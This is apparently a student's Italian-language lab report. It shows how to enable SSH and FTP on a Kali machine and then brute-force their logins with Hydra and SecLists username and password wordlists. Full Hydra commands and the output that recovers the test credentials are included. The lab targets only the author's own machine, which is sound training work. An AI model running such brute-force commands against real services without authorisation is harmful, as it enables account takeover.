

Report S6/L5

Esercizio del Giorno

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio.

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Esercizio fase 2 – suggerimento:

Per la seconda parte dell'esercizio, scegliete un servizio da configurare e poi provate a craccare l'autenticazione con Hydra.

- Se optate per il servizio ftp, potete semplicemente installarlo con il seguente comando:
sudo apt-get install vsftpd
- E poi avviare il servizio con: **service vsftpd start**

Svolgimento

Per iniziare ho creato il nuovo utente su kali con il comando < **sudo adduser** > e l'ho chiamato **test_user** ho confermato inserendo la psw del mio kali e ho impostato **testpass** come password per il nuovo account, ho lasciato le altre informazioni come di default.

```
(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] Y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Ho attivato il servizio **ssh** con il comando **< sudo service ssh start >**.

Poi ho ispezionato il file **sshd_config** nella directory **/etc/ssh/sshd_config**.

```
GNU nano 8.2          sshd_config
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
HostbasedAuthentication no
```

```
GNU nano 8.2          sshd_config
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
KbdInteractiveAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the KbdInteractiveAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin prohibit-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and KbdInteractiveAuthentication to 'no'.
UsePAM yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
```

```
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem sftp /usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#    X11Forwarding no
#    AllowTcpForwarding no
#    PermitTTY no
#    ForceCommand cvs server
```

L'esercizio prevede di lasciare le configurazioni di default.

Per connettermi in SSH all'utente appena creato uso il comando `<ssh test_user@192.168.30.3>` dove:

-ssh → servizio

-test_user → utente creato in precedenza

-192.168.30.3 → IP kali

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.30.3
The authenticity of host '192.168.30.3 (192.168.30.3)' can't be established.
ED25519 key fingerprint is SHA256:o516ZakcJ5xEXJc5+cNr+F5Yh/7qf8AnZxXmH5LKtcg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.30.3' (ED25519) to the list of known hosts.
test_user@192.168.30.3's password:
Connection closed by 192.168.30.3 port 22
```

```
(kali㉿kali)-[~]
$ sudo service ssh start
[sudo] password for kali:

(kali㉿kali)-[~]
$ ssh test_user@192.168.30.3
test_user@192.168.30.3's password:
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$ █
```

Mentre per tornare all'utente originario cambio semplicemente il nome dell'utente ovvero:

-ssh kali@192.168.30.3

```
(test_user㉿kali)-[~]
$ ssh kali@192.168.30.3
The authenticity of host '192.168.30.3 (192.168.30.3)' can't be established.
ED25519 key fingerprint is SHA256:o516ZakcJ5xEXJc5+cNr+F5Yh/7qf8AnZxXmH5LKtcg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? Y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.30.3' (ED25519) to the list of known hosts.
kali@192.168.30.3's password:
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(kali㉿kali)-[~]
$ █
```

Per craccare username e password usiamo il software Hydra con il seguente comando:

```
hydra -L username_list -P password_list IP_KALI -t 4 ssh
```

dove:

-L → per selezionare un file contenente la lista di possibili username

-P → per selezionare un file contenente la lista di possibili password

Le directory dei file le abbiamo trovate grazie al tool wordlist

```
kali@kali: /usr/share/wordlists
File Actions Edit View Help
wordlists
wordlists ~ Contains the rockyou wordlist
usr/share/wordlists
  amass → /usr/share/amass/wordlists
  dirb → /usr/share/dirb/wordlists
  dirbuster → /usr/share/dirbuster/wordlists
  dnsmap.txt → /usr/share/dnsmap/wordlist_TLAs.txt
  fasttrack.txt → /usr/share/set/src/fasttrack/wordlist.txt
  fern-wifi → /usr/share/fern-wifi-cracker/extras/wordlists
  john.lst → /usr/share/john/password.lst
  legion → /usr/share/legion/wordlists
  metasploit → /usr/share/metasploit-framework/data/wordlists
  nmap.lst → /usr/share/nmap/nmaplib/data/passwords.lst
  rockyou.txt
  rockyou.txt.gz
  seclists → /usr/share/seclists
  sqlmap.txt → /usr/share/sqlmap/data/txt/wordlist.txt
  wfuzz → /usr/share/wfuzz/wordlist
  wifite.txt → /usr/share/dict/wordlist-probable.txt
(kali@kali) - [ /usr/share/wordlists ]
$
```

```
(kali@kali) - [ /usr/share/wordlists/seclists/Usernames ]
$ ls
cirt-default-usernames.txt  Honeypot-Captures  Names  sap-default-usernames.txt  xato-net-10-million-usernames-dup.txt
CommonAdminBase64.txt  mssql-usernames-nansh0u-guardicore.txt  README.md  top-usernames-shortlist.txt  xato-net-10-million-usernames.txt
(kali@kali) - [ /usr/share/wordlists/seclists/Usernames ]
$ pwd
/usr/share/wordlists/seclists/Usernames
```

```
kali@kali: /usr/share/wordlists/seclists/Passwords
File Actions Edit View Help
(kali@kali) - [ ~ ]
$ cd /usr/share/wordlists/seclists
(kali@kali) - [ /usr/share/wordlists/seclists ]
$ ls
Discovery  IOCs  Passwords  Payloads  Usernames
Fuzzing  Miscellaneous  Pattern-Matching  README.md  Web-Shells
(kali@kali) - [ /usr/share/wordlists/seclists ]
$ cd Passwords
(kali@kali) - [ /usr/share/wordlists/seclists/Passwords ]
$ ls
2020-200_most_used_passwords.txt  Most-Popular-Letter-Passes.txt
2023-200_most_used_passwords.txt  mssql-passwords-nansh0u-guardicore.txt
500-worst-passwords.txt  openwall.net-all.txt
500-worst-passwords.txt.bz2  Permutations
BiblePass  PHP-Hashes
Books  probable-v2-top12000.txt
bt4-password.txt  probable-v2-top1575.txt
cirt-default-passwords.txt  probable-v2-top207.txt
citrix.txt  Pwdb-Public
clarkson-university-82.txt  README.md
common_corporate_passwords.lst  richelieu-french-top2000.txt
Common-Credentials  richelieu-french-top5000.txt
Cracked-Hashes  SCRABBLE-hackerhouse.tgz
dark0de.txt  scraped-JWT-secrets.txt
darkweb2017-top10000.txt  seasons.txt
darkweb2017-top1000.txt  Software
darkweb2017-top100.txt  stupid-ones-in-production.txt
darkweb2017-top10.txt  twitter-banned.txt
days.txt  unknown-azul.txt
Default-Credentials  UserPassCombo-Jay.txt
der-postillon.txt  WiFi-WPA
dutch_common_wordlist.txt  Wikipedia
dutch_wordlist  xato-net-10-million-passwords-1000000.txt
german_misc.txt  xato-net-10-million-passwords-100000.txt
Honeypot-Captures  xato-net-10-million-passwords-10000.txt
Keyboard-Walks  xato-net-10-million-passwords-1000.txt
Leaked-Databases  xato-net-10-million-passwords-100.txt
Malware  xato-net-10-million-passwords-10.txt
months.txt  xato-net-10-million-passwords-dup.txt
xato-net-10-million-passwords.txt
(kali@kali) - [ /usr/share/wordlists/seclists/Passwords ]
$
```

I file che utilizzerò sono i seguenti:

xato-net-10-million-passwords-1000000.txt

xato-net-10-million-usernames.txt

Al fine di ridurre le tempistiche ho inserito nelle prime posizioni delle liste il mio username e la mia password.

```
xato-net-10-million-passwords-1000000.txt
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
testpass
baseball
abc123
football
monkey
letmein
696969
shadow
master
666666
qwertyuiop
123321
mustang
1234567890
michael
654321

GNU nano 8.2 xato-net-10-million-usernames.txt
test_user
info
admin
2000
michael
NULL
john
david
robert
chris
mike
dave
richard
123456
thomas
steve
mark
andrew
daniel
george
```

Il comando quindi diventa:

```
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.30.3 -t 4 ssh
```

Possiamo aggiungere lo switch **-V** per controllare il progresso del cracking, ecco il risultato:

```
(kali@kali) [~]
$ hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.30.3 -V -T4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 12:33:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task
[DATA] attacking ssh://192.168.30.3:22/
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "testpass" - 12 of 8295464295456 [child 3] (0/0)
[22][ssh] host: 192.168.30.3 login: test_user password: testpass
[ATTEMPT] target 192.168.30.3 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.30.3 - login "info" - pass "password" - 1000003 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.30.3 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.30.3 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.30.3 - login "info" - pass "123456789" - 1000006 of 8295464295456 [child 3] (0/0)
```


Hydra ha trovato le credenziali nelle sue liste e me le ha evidenziate nella ricerca.

```
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "testpass" - 12 of 8295464295456 [child 3] (0/0)
[22][ssh] host: 192.168.30.3 login: test_user password: testpass
[ATTEMPT] target 192.168.30.3 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.30.3 - login "info" - pass "password" - 1000003 of 8295464295456 [child 0] (0/0)
```

Nel risultato notiamo:

22 → porta

Ssh → protocollo

Host → il nostro IP

Login → username

Password → la nostra password selezionata per il test

Terminata la configurazione e il cracking delle credenziali, inizio la seconda parte dell'esercizio.

Esercizio 2

Installiamo il servizio FTP con il comando: **sudo apt-get install vsftpd**

Avviamo il servizio con il comando: **service vsftpd start**

```
(kali㉿kali)-[~]
$ sudo apt-get install vsftpd
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
 fonts-liberation2 hydra-gtk ibverbs-providers imagemagick-6.q16 libarmadillo12 libassuan0 libavfilter9
 libavformat60 libbfiol libboost-iostreams1.83.0 libboost-thread1.83.0 libcephfs2 libdaxctl1 libegl-dev libfmt9
 libgail-common libgail18t64 libgdal34t64 libgeos3.12.1t64 libgfapi0 libgfrcp0 libgfxdr0 libgl1-mesa-dev
 libgles-dev libgles1 libglusterfs0 libglvnd-core-dev libglvnd-dev libgspell-1-2 libgtk2.0-0t64 libgtk2.0-bin
 libgtk2.0-common libibverbs1 libimobiledevice6 libiniparser1 libjim0.82t64 libjsoncpp25 liblua5.2-0
 libmagickcore-6.q16-7-extra libmagickcore-6.q16-7t64 libmagickwand-6.q16-7t64 libmbedcrypto7t64 libmfx1
 libmimalloc2.0 libndctl6 libnghttp3-3 libpaper1 libperl5.38t64 libplacebo338 libplist3 libpmem1 libpoppler134
 libpostproc57 libpython3.11-dev libpython3.11-minimal libpython3.11-stdlib libpython3.11t64 libqt5x11extras5
 libqt6dbus6t64 libqt6gui6t64 libqt6network6t64 libqt6opengl6t64 libqt6openglwidgets6t64 libqt6printsupport6t64
 libqt6sql6t64 libqt6test6t64 libqt6widgets6t64 libqt6xml6t64 librados2 librdmacm1t64 libre2-10 libroc0.3
 libssh-gcrypt-4 libsuperlu6 libswscale7 libu2f-udev libusbmuxd6 libwireshark17t64 libwiretap14t64 libwsutil15t64
 libzip4t64 openfortivpn openjdk-17-jre openjdk-17-jre-headless perl-modules-5.38 python3-appdirs
 python3-diskcache python3-hatch-vcs python3-hatchling python3-jose python3-lib2to3 python3-mistune0
 python3-pathspect python3-pendulum python3-pluggy python3-pytest python3-pytest-data python3-rsa python3-setuptools-scm
 python3-time-machine python3-trove-classifiers python3.11 python3.11-dev python3.11-minimal rwho rwho-d
 samba-vfs-modules xcaps
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
 vsftpd
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 142 kB of archives.
After this operation, 352 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 1s (237 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 426521 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2024.4.0) ...

(kali㉿kali)-[~]
$ service vsftpd start
===== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units =====
Authentication is required to start 'vsftpd.service'.
Authenticating as: ,, (kali)
Password:
===== AUTHENTICATION COMPLETE =====
```

Mandiamo il comando:

```
- hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P  
/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.30.3 -V -t  
4 ftp
```

```
(kali@kali)~$ hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.30.3 -V -t4 ftp  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 13:03:31  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task  
[DATA] attacking ftp://192.168.30.3:21/  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "testpass" - 12 of 8295464295456 [child 0] (0/0)  
[21][ftp] host: 192.168.30.3 login: test_user password: testpass  
[ATTEMPT] target 192.168.30.3 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "info" - pass "password" - 1000003 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "info" - pass "123456789" - 1000006 of 8295464295456 [child 0] (0/0)  
[*The session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

Anche in questo caso notiamo che **hydra** è stata in grado di rilevare le credenziali sfruttando il **protocollo ftp** sulla **porta 21**.

```
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "test_user" - pass "testpass" - 12 of 8295464295456 [child 0] (0/0)  
[21][ftp] host: 192.168.30.3 login: test_user password: testpass  
[ATTEMPT] target 192.168.30.3 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "info" - pass "password" - 1000003 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.30.3 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 2] (0/0)
```